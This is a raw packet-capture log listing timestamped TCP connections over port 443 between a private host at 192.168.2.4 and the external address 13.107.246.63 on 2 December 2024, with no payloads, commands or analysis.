Dec 2, 2024 04:59:17.224170923 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.224181890 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.224605083 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.224610090 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.298321009 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.298388004 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.298439026 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.298607111 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.298614979 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.298624992 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.298629999 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.301402092 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.301426888 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.301505089 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.301681995 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.301695108 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.383852959 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.383902073 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.384010077 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.384458065 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.384479046 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.384494066 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.384500027 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.386908054 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.386951923 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.387042046 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.387186050 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.387202024 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.658888102 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.658940077 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.658991098 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.659118891 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.659123898 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.659133911 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.659137011 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.661014080 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.661035061 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.661102057 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.661228895 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.661240101 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.700052977 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.701179028 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.701205015 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.701559067 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.701565981 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.768866062 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.769185066 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.769196987 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.769546032 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:17.769550085 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.153736115 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.153799057 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.153855085 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.154078007 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.154089928 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.154107094 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.154112101 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.156765938 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.156806946 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.156888962 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.157006979 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.157022953 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.204710960 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.204756975 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.204806089 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.204924107 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.204941988 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.204952955 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.204958916 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.206724882 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.206753969 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:18.206829071 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.206947088 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:18.206959963 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.162302971 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.162775040 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.162796021 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.163203001 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.163208008 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.376312971 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.376745939 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.376760006 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.377154112 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.377159119 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.616195917 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.616265059 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.616323948 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.616492987 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.616501093 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.616511106 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.616514921 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.619225979 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.619260073 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.619342089 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.619493008 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.619507074 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.811372042 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.811431885 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.811491013 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.811691999 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.811696053 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.811703920 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.811707020 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.814418077 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.814433098 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.814511061 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.814682961 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.814694881 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.871205091 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.871721029 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.871741056 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:19.872184038 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:19.872188091 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.050951958 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.051299095 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.051320076 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.051683903 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.051688910 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.306283951 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.306339979 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.306494951 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.306561947 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.306577921 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.306586981 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.306591988 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.309341908 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.309384108 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.309489965 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.309742928 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.309757948 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.504267931 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.504322052 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.504379988 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.504547119 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.504555941 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.504565954 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.504570961 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.506989002 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.507019043 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:20.507095098 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.507246017 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:20.507257938 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.410944939 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.411449909 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.411478996 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.411920071 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.411923885 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.531153917 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.531655073 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.531675100 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.532063007 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.532075882 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.860259056 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.860280037 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.860337019 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.860351086 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.860390902 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.860615015 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.860631943 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.860641956 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.860646963 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.863380909 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.863429070 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.863508940 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.863687992 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.863703966 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.965387106 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.965452909 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.965507984 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.965640068 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.965647936 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.965660095 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.965663910 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.967972994 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.967989922 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:21.968071938 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.968225956 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:21.968235970 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.154315948 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.154771090 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.154793978 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.155209064 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.155215025 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.287718058 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.288101912 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.288124084 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.288486958 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.288492918 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.607996941 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.608055115 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.608140945 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.608326912 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.608344078 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.608354092 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.608357906 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.610811949 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.610837936 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.610898972 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.611020088 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.611031055 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.736929893 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.736953020 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.737003088 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.737016916 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.737199068 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.737211943 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.737220049 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.737330914 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.737360001 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.737400055 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.739130974 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.739161968 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:22.739224911 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.739346027 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:22.739357948 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.472151041 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.472786903 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.472810984 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.473313093 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.473319054 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.580524921 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.581001997 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.581031084 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.581434965 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.581439972 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.749185085 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.749613047 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.749630928 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.750039101 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.750044107 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.916605949 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.916663885 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.916712999 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.916908026 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.916925907 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.916935921 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.916941881 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.919835091 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.919855118 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:23.919922113 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.920047998 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:23.920058012 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.020664930 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.020685911 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.020740032 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.020759106 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.020788908 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.020970106 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.020975113 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.020988941 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.021122932 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.021153927 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.021224976 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.023768902 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.023785114 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.023853064 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.023994923 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.024007082 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198167086 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198195934 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198271036 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.198281050 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198519945 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.198529959 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198555946 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.198671103 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198699951 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.198745012 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.200850010 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.200877905 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.200951099 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.201057911 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.201071978 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.390727043 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.391268969 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.391279936 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.391716003 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.391721964 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.518115044 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.518502951 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.518515110 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.518887997 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.518893003 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.834660053 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.837850094 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.837910891 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.837960958 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.837968111 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.837987900 CET	49924	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.837994099 CET	443	49924	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.840519905 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.840543985 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.840622902 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.840820074 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.840832949 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.962822914 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.965888977 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.965950966 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.965991974 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.966003895 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.966012955 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.966017008 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.968461990 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.968487024 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:24.968591928 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.968770981 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:24.968784094 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.765197039 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.765665054 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:25.765680075 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.766216040 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:25.766220093 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.804003000 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.804349899 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:25.804359913 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.804744959 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:25.804749966 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.980521917 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.981168032 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:25.981188059 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:25.981714964 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:25.981720924 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.218738079 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.221873045 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.221934080 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.221978903 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.221986055 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.221995115 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.221999884 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.224555969 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.224589109 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.224654913 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.224776030 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.224796057 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.247900963 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.251085997 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.251142025 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.251163006 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.251173973 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.251189947 CET	49927	443	192.168.2.4	13.107.246.63
